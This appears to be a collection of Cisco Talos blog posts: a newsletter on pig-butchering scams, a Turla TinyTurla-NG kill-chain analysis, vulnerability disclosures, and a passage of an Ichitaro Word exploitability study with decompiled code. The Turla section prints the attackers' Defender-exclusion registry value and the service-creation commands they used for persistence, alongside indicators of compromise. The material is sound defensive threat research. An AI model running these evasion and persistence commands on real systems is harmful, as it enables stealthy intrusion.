Reading view

There are new articles available, click to refresh the page.

“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years

“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years

Whether you want to call them “catfishing,” “pig butchering” or just good ‘old-fashioned “social engineering,” romance scams have been around forever.  

I was first introduced to them through the MTV show “Catfish,” but recently they seem to be making headlines as the term “pig butchering” enters the public lexicon. John Oliver recently covered it on “Last Week Tonight,” which means everyone my age with an HBO account heard about it a few weeks ago. And one of my favorite podcasts going, “Search Engine,” just covered it in an episode

The concept of “pig butchering” scams generally follows the same chain of events: 

  • An unknown phone number texts or messages a target with a generally harmless message, usually asking for a random name disguised as an “Oops, wrong number!” text. 
  • When the target responds, the actor tries to strike up a conversation with a friendly demeanor. 
  • If the conversation persists, they usually evolve into “love bombing,” including compliments, friendly advice, ego-boosting, and saying flattering things about any photos the target has sent. 
  • Sometimes, the relationship may turn romantic. 
  • The scammer eventually “butchers” the “pig” that has been “fattened up” to that point, scamming them into handing over money, usually in the form of a phony cryptocurrency app, or just straight up asking for the target to send the scammer money somehow. 

There are a few twists and turns along the way based on the exact scammer, but that’s generally how it works. What I think is important to remember is that this specific method of separating users from their money is not actually new.  

The FBI seems to release a renewed warning about romance scams every Valentine’s Day when people are more likely to fall for a stranger online wanting to make a real connection and then eventually asking for money. I even found a podcast from the FBI in 2015 in which they warned that scammers “promise love, romance, to entice their victims online,” estimating that romance-related scams cost consumers $82 million in the last half of 2014.  

The main difference that I can tell between “pig butchering” and past romance scams is the sheer scale. Many actors running these operations are relying on human trafficking and sometimes literal imprisonment, forcing these people against their will to send these mass blocks of messages to a variety of targets indiscriminately. Oftentimes in these groups, scammers who are less “successful” in luring victims can be verbally and physically harassed and punished. That is, of course, a horrible human toll that these operations are taking, but they also extend far beyond the world of cybersecurity. 

In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package. Instead, it relies on user education and the involvement of law enforcement agencies and international governments to ensure these farms can’t operate in the shows. The founders who run them are brought to justice. 

It’s never a bad thing that users become more educated on these scams, because of that, but I also feel it’s important to remember that romance-related scams, and really any social engineering built on a personal “relationship,” has been around for years, and “pig butchering” is not something new that just started popping up. 

These types of scams are ones that our culture has kind of just accepted as part of daily life at this point (who doesn’t get surprised when they get a call about their “car’s extended warranty?), and now the infrastructure to support these scams is taking a larger human toll than ever. 

The one big thing 

Talos has yet another round of research into the Turla APT, and now we’re able to see the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclsions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service. 

Why do I care? 

Turla, and this recently discovered TinyTurlaNG tool that Talos has been writing about, is an international threat that’s been around for years, so it’s always important for the entire security community to know what they’re up to. Most recently, Turla used these tactics to target Polish non-governmental organizations (NGOs) and steal sensitive data.  

So now what? 

During Talos’ research into TinyTurla-NG, we’ve released several new rounds of detection content for Cisco Secure products. Read our past two blog posts on this actor for more.  

Top security headlines of the week 

The Biden administration issued a renewed warning to public water systems and operators this week, saying state-sponsored actors could carry out cyber attacks soon, citing ongoing threats from Iran and China. The White House and U.S. Environmental Protection Agency sent a letter to every U.S. governor this week warning them that cyber attacks could disrupt access to clean drinking water and “impose significant costs on affected communities.” The letter also points to the U.S. Cyber and Infrastructure Security Agency’s list of known exploited vulnerabilities catalog, asking the managers of public water systems to ensure their systems are patched against these vulnerabilities. The EPA pointed to Volt Typhoon, a recently discovered Chinese APT that has reportedly been hiding on critical infrastructure networks for an extended period. A meeting among federal government leaders from the EPA and other related agencies is scheduled for March 21 to discuss threats to public water systems and how they can strengthen their cybersecurity posture. (Bloomberg, The Verge

UnitedHealth says it's still recovering from a cyber attack that’s halted crucial payments to health care providers across the U.S., but has started releasing some of those funds this week, and expects its payment processing software to be back online soon. The cyber attack, first disclosed in February, targeted Change Healthcare, a subsidiary of United, that handles payment processing and pharmaceutical orders for hospital chains and doctors offices. UnitedHealth’s CEO said in a statement this week that the company has paid $2 billion to affected providers who spent nearly a month unable to obtain those funds or needing to switch to a paper billing system. A recently published survey from the American Hospital Association found that 94 percent of hospitals that responded experienced financial disruptions from the Change Healthcare attack, and costs at one point were hitting $1 million in revenue per day. (ABC News, CNBC

Nevada’s state court system is currently weighing a case that could undo end-to-end encryption across the U.S. The state’s Attorney General is currently suing Meta, the creators of Facebook, Instagram and WhatsApp, asking the company to remove end-to-end encryption for minors on the platform, with the promise of being able to catch and charge users who abuse the platform to lure minors. However, privacy advocates are concerned that any rulings against Meta and its encryption policies could have larger ripple effects, and embolden others to challenge encryption in other states. Nevada is arguing that Meta’s Messenger a “preferred method” for individuals targeting Nevada children for illicit activities. Privacy experts are in favor of end-to-end encryption because it safeguards messages during transmission and makes it more difficult for other parties to intercept and read them — including law enforcement agencies. (Tech Policy Press, Bloomberg Law

Can’t get enough Talos? 

Upcoming events where you can find Talos 

 

Botconf (April 23 - 26) 

Nice, Côte d'Azur, France

This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.

CARO Workshop 2024 (May 1 - 3) 

Arlington, Virginia

Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

RSA (May 6 - 9) 

San Francisco, California    

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647 
MD5: bbcf7a68f4164a9f5f5cb2d9f30d9790 
Typical Filename: bbcf7a68f4164a9f5f5cb2d9f30d9790.vir 
Claimed Product: N/A 
Detection Name: Win.Dropper.Scar::1201 

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Win.Worm.Coinminer::1201 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Typical Filename: c0dwjdi6a.dll |
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256: 7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5 
MD5: ff1b6bb151cf9f671c929a4cbdb64d86 
Typical Filename: endpoint.query 
Claimed Product: Endpoint-Collector 
Detection Name: W32.File.MalParent 

SHA 256: e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3 
MD5: c16df0bfc6fda86dbfa8948a566d32c1 
Typical Filename: CEPlus.docm 
Claimed Product: N/A  
Detection Name: Doc.Downloader.Pwshell::mash.sr.sbx.vioc 

New details on TinyTurla’s post-compromise activity reveal full kill chain

New details on TinyTurla’s post-compromise activity reveal full kill chain

Cisco Talos is providing an update on its two recent reports on a new and ongoing campaign where Turla, a Russian espionage group, deployed their TinyTurla-NG (TTNG) implant. We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. 

  • Talos’ analysis, in coordination with CERT.NGO, reveals that Turla infected multiple systems in the compromised network of a European non-governmental organization (NGO). 

  • The attackers compromised the first system, established persistence and added exclusions to anti-virus products running on these endpoints as part of their preliminary post-compromise actions. 

  • Turla then opened additional channels of communication via Chisel for data exfiltration and to pivot to additional accessible systems in the network.

Tracing Turla’s steps from compromise to exfiltration

Talos discovered that post-compromise activity carried out by Turla in this intrusion isn’t restricted to the sole deployment of their backdoors. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclusions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.

Preliminary post-compromise activity and TinyTurla-NG deployment

After gaining initial access, Turla first adds exclusions in the anti-virus software, such as Microsoft Defender, to locations they will use to host the implant on the compromised systems.

ACTION

INTENT

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths | 

“C:\Windows\System32\” = 0x0

[T1562.001] Impair Defenses: Disable or Modify Tools


Turla then sets up the persistence of the TinyTurla-NG implants using one or more batch (BAT) files. The batch files create a service on the system to persist the TTNG DLL on the system. 

ACTION

INTENT

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v sysman /t REG_MULTI_SZ /d "sdm" /f


reg add "HKLM\SYSTEM\CurrentControlSet\services\sdm\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\dcmd.dll" /f

[T1543.003] Create or Modify System Process: Windows Service

sc create sdm binPath= "c:\windows\system32\svchost.exe -k sysman" type= share start= auto

sc config sdm DisplayName= "System Device Manager"

sc description sdm "Creates and manages system-mode driver processes. This service cannot be stopped."


[T1543.003] Create or Modify System Process: Windows Service

This technique is identical to that used by Turla in 2021 to achieve persistence for their TinyTurla implants. However, we’re still unsure why the actor uses two different batch files, but it seems to be an unnecessarily convoluted approach to evade detections.

In the case of TTNG, the service is created with the name “sdm” masquerading as a “System Device Manager” service. 

New details on TinyTurla’s post-compromise activity reveal full kill chain
New details on TinyTurla’s post-compromise activity reveal full kill chain

Batch file contents.

The creation and start of the malicious service kick starts the execution of the TinyTurla-NG implant via svchost[.]exe (Windows’ service container). TinyTurla-NG is instrumented further to conduct additional reconnaissance of directories of interest and then copy files to a temporary staging directory on the infected system, followed by subsequent exfiltration to the C2. TinyTurla-NG is also used to deploy a custom-built Chisel beacon from the open-sourced offensive framework.

Custom Chisel usage

On deployment, Chisel will set up a reverse proxy tunnel to an attacker-controlled box [T1573.002 - Encrypted Channel: Asymmetric Cryptography]. We’ve observed that the attackers leveraged the chisel connection to the initially compromised system, to pivot to other systems in the network. 

The presence of Windows Remote Management (WinRM)-based connections on the target systems indicates that chisel was likely used in conjunction with other tools, such as proxy chains and evil-winrm to establish remote sessions. WinRM is Microsoft’s implementation of the WS-Management protocol and allows Windows-based systems to exchange information and be administered using scripts or built-in utilities.

The overall infection chain is visualized below.

New details on TinyTurla’s post-compromise activity reveal full kill chain

Turla tactics, tools and procedures flow.

Once the attackers have gained access to a new box, they will repeat their activities to create Microsoft Defender exclusions, drop the malware components, and create persistence, indicating that Turla follows a playbook that can be articulated as the following cyber kill chain.



New details on TinyTurla’s post-compromise activity reveal full kill chain

Cyber kill chain.

Analyzing the traffic originating from Chisel revealed the tool beaconed back to its C2 server every hour.

New details on TinyTurla’s post-compromise activity reveal full kill chain

While the infected systems were compromised as early as October 2023 and Chisel was deployed as late as December 2023, Turla operators conducted the majority of their data exfiltration over using Chisel much later on Jan. 12, 2024 [T1041 - Exfiltration Over C2 Channel].

New details on TinyTurla’s post-compromise activity reveal full kill chain

Coverage

Ways our customers can detect and block this threat are listed below.

New details on TinyTurla’s post-compromise activity reveal full kill chain

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.


IOCS

Hashes

267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b

d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40

ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc

13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346

b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044 

Domains

hanagram[.]jpthefinetreats[.]com

caduff-sa[.]chjeepcarlease[.]com

buy-new-car[.]com

carleasingguru[.]com

IP Addresses

91[.]193[.]18[.]120

Netgear wireless router open to code execution after buffer overflow vulnerability

Netgear wireless router open to code execution after buffer overflow vulnerability

Cisco Talos’ Vulnerability Research team recently disclosed three vulnerabilities across a range of products, including one that could lead to remote code execution in a popular Netgear wireless router designed for home networks. 

There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak. 

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

Netgear RAX30 JSON parsing stack-based buffer overflow vulnerability 

Discovered by Michael Gentile. 

The Netgear RAX30 wireless router contains a stack-based buffer overflow vulnerability that could allow an attacker to execute arbitrary code on the device.  

An adversary could send a targeted device a specially crafted HTTP request to eventually cause a buffer overflow condition. 

The RAX30 is a dual-band Wi-Fi router that’s commonly used on home networks. In an advisory about TALOS-2023-1887 (CVE-2023-48725), Netgear stated that the vulnerability “requires an attacker to have your WiFi password or an Ethernet connection to a device on your network to be exploited.” 

NVIDIA D3D10 driver out-of-bounds read vulnerability 

Discovered by Piotr Bania. 

TALOS-2023-1849 (CVE-2024-0071) is an out-of-bounds read vulnerability in the shader functionality of the NVIDIA D3D10 driver that runs on several NVIDIA graphics cards. Drivers like D3D10 are usually necessary for the GPU to function properly. 

An adversary could send a specially crafted executable or shader file to the targeted machine to trigger an out-of-bounds read and eventually leak memory.  

This vulnerability could be triggered from guest machines running virtual environments to perform a guest-to-host escape. Theoretically, it could be exploited from a web browser, but Talos tested this vulnerability from a Windows Hyper-V guest using the RemoteFX feature, leading to execution of the vulnerable code on the Hyper-V host. While RemoteFX is no longer actively maintained by Microsoft, some older machines may still use this software.  

An out-of-bounds read vulnerability exists in the Shader functionality of NVIDIA D3D10 Driver, Version 546.01, 31.0.15.4601. A specially crafted executable/shader file can lead to an out-of-bounds read. An attacker can provide a specially crafted shader file to trigger this vulnerability. 

An adversary could also use this vulnerability to leak host data to the guest machine. 

Denial-of-service vulnerability in Google Chrome Video Encoder 

Discovered by Piotr Bania. 

A denial-of-service vulnerability in Google Chrome’s video encoder could crash the browser.  

TALOS-2023-1870 is triggered if the targeted user visits an attacker-created website that contains specific code.  

Talos’ sample exploit runs a JavaScript code related to the Chrome video encoding functionality, eventually causing a denial-of-service in the browser and stopping all processes in Chrome.  

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

  • Cisco Talos disclosed several vulnerabilities in JustSystems’ Ichitaro Word Processor last year. These vulnerabilities were complex and were discovered through extensive reverse engineering.
  • CVE-2023-35126 and its peers (CVE-2023-34366, CVE-2023-38127, and CVE-2023-38128) were each assessed as exploitable with the possibility of achieving arbitrary code execution.
  • To establish precedence, a complete arbitrary code execution exploit was developed using only limited primitives provided by CVE-2023-35126, demonstrating its severity in contrast with JP CERT’s assessment.
  • Doing so required an in-depth understanding of the complex file format as well as the internal mechanisms as implemented by Ichitaro, mirroring the exploitation research that a potential malicious adversary would need to perform to achieve the same goal. 
  • The exploit converts an out-of-bounds index into a frame pointer overwrite. After silently executing the payload, the process is repaired, allowing the application to finish loading the rest of the document. Silent continuation of process execution is essential so as not to alert the target victim.
  • Its payload is distinctly separated from the vulnerability and can be decoded from an arbitrary document stream that is specified at build time. Tools and techniques developed and demonstrated will help us better assess and more quickly understand similar threats in the future. 
  • Stopping short of publishing complete exploit code, we believe it is important to showcase the complexities involved in developing exploits for unusual vulnerabilities and to highlight the importance of exploit mitigations.

The Ichitaro word processing component software from JustSystems, Inc. is part of the company’s larger suite of office products, similar to Microsoft Office 365. While fairly unknown in the rest of the world, it has a large market share in Japan. Regionally popular, but often overlooked, these types of applications have been targets of malicious exploitation campaigns previously. Vulnerability research conducted by Cisco Talos over the past year has uncovered multiple high-severity vulnerabilities in Ichitaro that could allow an adversary to carry out a variety of malicious actions, including arbitrary code execution. JustSystems has patched all the vulnerabilities mentioned in this blog post, all in adherence to Cisco’s third-party vendor vulnerability disclosure policy.

Straightforward fuzzing is mostly ineffective against these types of applications. Complex functionality supported by a complex file format required extensive reverse engineering that yielded a deeper understanding of the inner workings of Ichitaro, which was necessary for effective bug hunting, be it through fuzzing or manual code auditing. These insights help us better assess the severity of vulnerabilities uncovered in the future.

The uncovered vulnerabilities were generally complex and difficult to reach and trigger. For now, we’ll focus on one vulnerability, in particular, TALOS-2023-1825 (CVE-2023-35126). For demonstration purposes, we are using Ichitaro 2023 version 1.0.1.59372. JustSystems patched this vulnerability in security update 2023.10.19. Our emphasis is on the methods employed while performing root cause and exploitability analysis.

Developing memory corruption exploits beyond simple proof of concepts is occasionally time-consuming, and hence is not taken lightly. With the advent of more advanced exploit mitigations, it becomes difficult to assess if a singular vulnerability is exploitable and what its severity is. What helps is exploit equivalence classes. An exploit for a use-after-free vulnerability in a certain context demonstrates that all similar use-after-free vulnerabilities are exploitable. While exploit equivalence classes are established for the most common types of targets (browsers or OS kernels, for example), we have no precedent to fall back on when working with previously unknown types of software. 

This is especially important when judging the severity of the vulnerabilities. Our assessment of this vulnerability using CVSS 3.1 scoring was 7.8 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), while JP CERT assigned it 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L), as they didn’t deem arbitrary code execution possible. This severely underestimates the severity and poses an unnecessary risk to users who might ignore the security updates. By demonstrating and establishing the exploitability of this vulnerability, we aim to rectify the situation and clarify exploitability estimates for the vulnerabilities we uncover in the future. 

When exploiting a vulnerability in a common target, well-known techniques can be employed, such as relying on the well-known “addrof/fakeobj” abstraction when exploiting JavaScript engines. However, not all targets allow for the same general techniques. In some cases, interactivity is not possible, or the location of the vulnerability does not allow the adversary to influence enough of the target to allow for exploitability.

We dissected one of the vulnerabilities discovered within Ichitaro that was classified with seemingly limited severity. Leveraging this vulnerability along with side effects of the code that it belongs to allowed us to construct more powerful exploitation primitives which ultimately resulted in full arbitrary code execution. This not only increases our confidence in the assessment of these families of vulnerabilities but documents and demonstrates the building blocks, tools and methodologies necessary to conduct this research. 

Format

The main document type supported by the Ichitaro word processor uses the .jtd file extension and is stored as a Microsoft Compound Document. A compound document file contains a hierarchical structure composed of multiple content streams, along with naming information for each, which gives it the near appearance of a filesystem. The primary API is also exposed by Microsoft via COM which, when used to open a document, returns an object that implements the IStorage interface. As a result, the format has been used throughout the years by several Microsoft components, including Microsoft's Office suite, and is extensively documented by Microsoft in [MS-CFB]: Compound File Binary File Format.

Implementers of software utilizing Microsoft's Compound Document format will leverage its file system-like capabilities to store different streams relating to the contents of the document. Thus, when an application is asked to load a document, the application will read a list of directory entries out of the document to extract the stream names. These stream names can then be used to access the contents of the individual streams, which can then be used to load the necessary parts to restore the document.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

From this logic of referencing a stream by its name, a pattern can be identified by the reverse engineer and identify where a specific stream is being parsed by a binary. This pattern, combined with the standard API, can enable a reverse engineer to identify the relevant parts of an application that interact with a document.

Utilizing these patterns, TALOS-2023-1825 was discovered and then reported as CVE-2023-35126. When first examining an empty document file, several streams along with their names can be found in the structure storage document's directory. Cross-referencing some of these stream names with the modules loaded in the address space of the binary leads us to a single binary that references the stream name.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Using the default stream names found within a document produced by the application, each of the binaries belonging to the application can be searched to determine which libraries reference the corresponding stream name. The following command demonstrates a search of that kind.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Once the correct binaries have been identified, the strings can simply be cross-referenced to identify a list of candidates that might be used to interact with the corresponding stream. In the following screenshot, each of the stream names is located near to each other. After the list of candidate functions has been identified, that list can then be used to set breakpoints with a debugger and then used to enumerate the functions that are relevant to parsing the document.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Discovery

The discovery of the bug in question starts with identifying the location of the stream names, enumerating instruction references to them, and then finding the common caller that is shared by each reference. This was done in the following screenshot using the IDA Python script which takes the list of selected addresses, fetches each of their executable references, groups each of them into separate sets and then finds the common intersection of all the sets. This results in a single function address being responsible for the selected stream names.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

After reviewing the function associated with the discovered address, 0x3BE25803, it appears to reference all of the stream names that were listed out of the empty document and are used as some form of initialization. Upon running the application with a breakpoint set to this address, our debugger will confirm that this code is executed upon opening the document. Examining the backtrace during the same debugging session then gives us a straightforward path to identify how the application parses streams from the document.

The function at 0x3BE25803 then has a single caller at 0x3C1FAF0F that can be navigated to in our disassembler. From this caller, each function that is called by it can be used to identify other places where stream names from the document are referenced. This is a common pattern that can be used to map each stream name to a function that is either responsible for parsing said stream or initializing the scope of variables that are later used when parsing the stream.

int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_documentType_4,
        int av_flags_8,
        int av_whichStream_c,
        _DWORD *ap_result_10)
{
  lp_this_64 = this;
  p_result_10.ap_unkobject_10 = (int)ap_result_10;
  lp_oframe_6c = ap_oframe_0;
  constructor_3a9de4(&lv_struc_38);
  lv_result_4 = 0;
  sub_3BE29547(lv_feh_60, 0xFFFF, 0);
...
  lv_struc_38.v_documentType_8 = av_documentType_4;
  lv_struc_38.v_initialParsingFlags_c = av_flags_8;
  lv_struc_38.p_owner_24 = lp_this_64;
  lv_struc_38.v_initialField(1)_10 = 1;
  lv_position_7c = 4;
  if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 )                // Determine which stream name to use
  {
    v9 = "DocumentViewStyles";
  }
  else
  {
...
    v9 = "DocumentEditStyles";
  }
  v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &lp_oseg_68);               // Open up a stream by a name.
  if ( v10 != 0x80030002 )
  {
...
    *(_QWORD *)&lp_oframe_70 = 0i64;
    if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) >= 0              // Read a two 16-bit integers for the header
      && object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_74)
      && object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_78) )
    {
      if ( (unsigned __int16)lv_ushort_74 <= 1u )
      {
        lv_struc_38.vw_version_20 = lv_ushort_74;
        lv_struc_38.vw_used_22 = lv_ushort_78;
...
        v12 = 0;
        for ( i = 4; ; lv_position_7c = i )                                                     // Loop to process contents of stream
        {
          v25 = v12;
          v14 = struc_3a9de4::parseStylesContent_3a7048(&lv_struc_38, lp_oseg_68, i, v12, av_whichStream_c, p_result_10, 0);
          v_result_8 = v14;
          if ( v14 == 0xFFFFFFE8 )
            break;
          if ( v14 != 1 )
            goto return(@edi)_3a78dd;
          i = lv_struc_38.v_header_long_4 + 6 + lv_position_7c;
          v12 = ((unsigned int)lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, lv_position_7c)) >> 32;
        }
        v_result_8 = 1;
      }
...
  return v_result_7;
}

The listing shows the beginning of the function at 0x3C1FAF0F with the name object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. This function references the DocumentViewStyles stream. Specifically, both the DocumentViewStyles and DocumentEditStyles strings are referenced next to each other separated by only a conditional. Hence, both streams likely use the same implementation to parse their contents and a parameter is used to distinguish between them. At the bottom of the same function is a loop that is likely used to process the variable-length contents of the streams. If we examine the function being called for each iteration of this loop, we will encounter the following function, which is of reasonable complexity and appears to process some number of record types using a 16-bit integer as their key. The shape of this function is shown in the following screenshot. 

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

The following list is a decompilation of the function from the previous screenshot that parses record types out of the stream. Exploring the different cases implemented by this method shows that it is responsible for parsing around 10 different record types. Most of the functions used to parse each individual record types are prefaced with a function that ensures that the necessary fields are constructed and initialized before processing its corresponding record. This implies that the conditional allocations involved with these fields can only be used once per instance of the document, and will need to already have been called to avoid the unpredictability of the data that is left on the stack during the exploitation process.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word
int __thiscall struc_3a9de4::parseStylesContent_3a7048(
        struc_3a9de4 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_position(lo)_4,
        int av_position(hi)_8,
        int av_currentStreamState?_c,
        frame_3a7048_arg_10 ap_unkobjectunion_10,
        frame_3a7048_arg_14 ap_nullunion_14)
{
  lv_result_4 = 0;
  p_oseg_0 = ap_oseg_0;
...
  v_documentType_8 = this->v_documentType_8;
  v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);
  if ( v_boxHeaderResult_0 != 31 )
  {
...
    vw_header_word_0 = (unsigned __int16)this->vw_header_word_0;                        // Check first 16-bit word from stream
    p_owner_24 = this->p_owner_24;
    lp_owner_8 = p_owner_24;
    if ( vw_header_word_0 > 0x2003 )
    {
      v_wordsub(2004)_0 = vw_header_word_0 - 0x2004;
      if ( v_wordsub(2004)_0 )
      {
        v_word(2005)_0 = v_wordsub(2004)_0 - 1;
        if ( !v_word(2005)_0 )
        {
          if ( av_currentStreamState?_c != 5 ) {                                        // Check for record type 0x2005
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
            p_styleObject_3a712c = struc_3a9de4::readStyleType(2005)_3a6bec(this, p_oseg_0, this->v_header_long_4, Av_parsingFlagField_8 == 3);
            goto returning(@eax)_endrecord_3a736f;
          }
          goto returning(1)_endrecord_3a70f9;
        }
        v_wordsub(2006)_0 = v_word(2005)_0 - 1;
        if ( v_wordsub(2006)_0 )
        {
          v_word(2007)_0 = v_wordsub(2006)_0 - 1;
          if ( v_word(2007)_0 )
          {
            v_word(2008)_0 = v_word(2007)_0 - 1;
            if ( !v_word(2008)_0 )
            {
...
              if ( p_object_60 )
              {

LABEL_93:
                p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906(       // Process record type 0x2008
                                         p_object_60,
                                         p_oseg_0,
                                         this->v_header_long_4,
                                         Av_parsingFlagField_8,
                                         this->v_documentType_8,
                                         ap_unkobjectunion_10.ap_unkobject_10,
                                         &lv_result_4);
                goto returning(@eax)_endrecord_3a736f;
              }
              goto returning(@esi)_endrecord_3a7625;
            }
            if ( v_word(2008)_0 == 8 )
            {
...
                p_styleObject_3a712c = object_9d0d30::readStyleType(2010)_392cab(       // Process record type 0x2010
                                         field(64)_6bf3a6,
                                         p_oseg_0,
                                         this->v_header_long_4,
                                         Av_parsingFlagField_8,
                                         this->v_documentType_8,
                                         ap_unkobjectunion_10.ap_unkobject_10,
                                         (int)&lv_result_4);
                goto returning(@eax)_endrecord_3a736f;
              }
              goto returning(@esi)_endrecord_3a7625;
            }
            goto check_pushStream_3a73fe;
          }
...
        }
...
      }
...
      return p_result_3a705e;
    }
    if ( vw_header_word_0 == 0x2003 )
    {
      if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
         && (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 0x204) & 0x40) != 0) && av_currentStreamState?_c != 5 )
      {
        struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
        p_field(38)_55 = object_10cbd2::get_field(38)_7b15a6(lp_owner_8->v_data_290.p_object_48, 0);
        p_styleObject_3a712c = object_9bd120::readStyleType(2003)_1d63a3(               // Process record type 0x2003
                                 p_field(38)_55,
                                 p_oseg_0,
                                 this->v_header_long_4,
                                 Av_parsingFlagField_8,
                                 ap_unkobjectunion_10.ap_unkobject_10);
        goto returning(@eax)_endrecord_3a736f;
      }
      goto returning(1)_endrecord_3a70f9;
    }
    v_wordsub(1000)_0 = vw_header_word_0 - 0x1000;
    if ( v_wordsub(1000)_0 )
    {
      v_wordsub(1001)_0 = v_wordsub(1000)_0 - 1;
      if ( !v_wordsub(1001)_0 )                                                         // Process record type 0x1001
      {
...
        p_styleObject_3a712c = object_9e5ffc::readStyleType(1001)_1b8cd2(p_object_190c, p_oseg_0, this->v_header_long_4, 0);
        goto returning(@eax)_endrecord_3a736f;
      }
      v_word(1001)_15 = v_wordsub(1001)_0 - 1;
      if ( !v_word(1001)_15 )                                                           // Process record type 0x1002
      {
        if ( av_currentStreamState?_c != 3 && av_currentStreamState?_c != 4
          && (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
           && (*(_DWORD *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x100) != 0) )
        {
...
          struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
          if ( ap_nullunion_14.object_e7480 )
          {
            p_styleObject_3a712c = object_e7480::readStyleType(1002)_77a7bf(
                                     ap_nullunion_14.object_e7480,
                                     p_oseg_0,
                                     this->v_header_long_4,
                                     v_documentType_8,
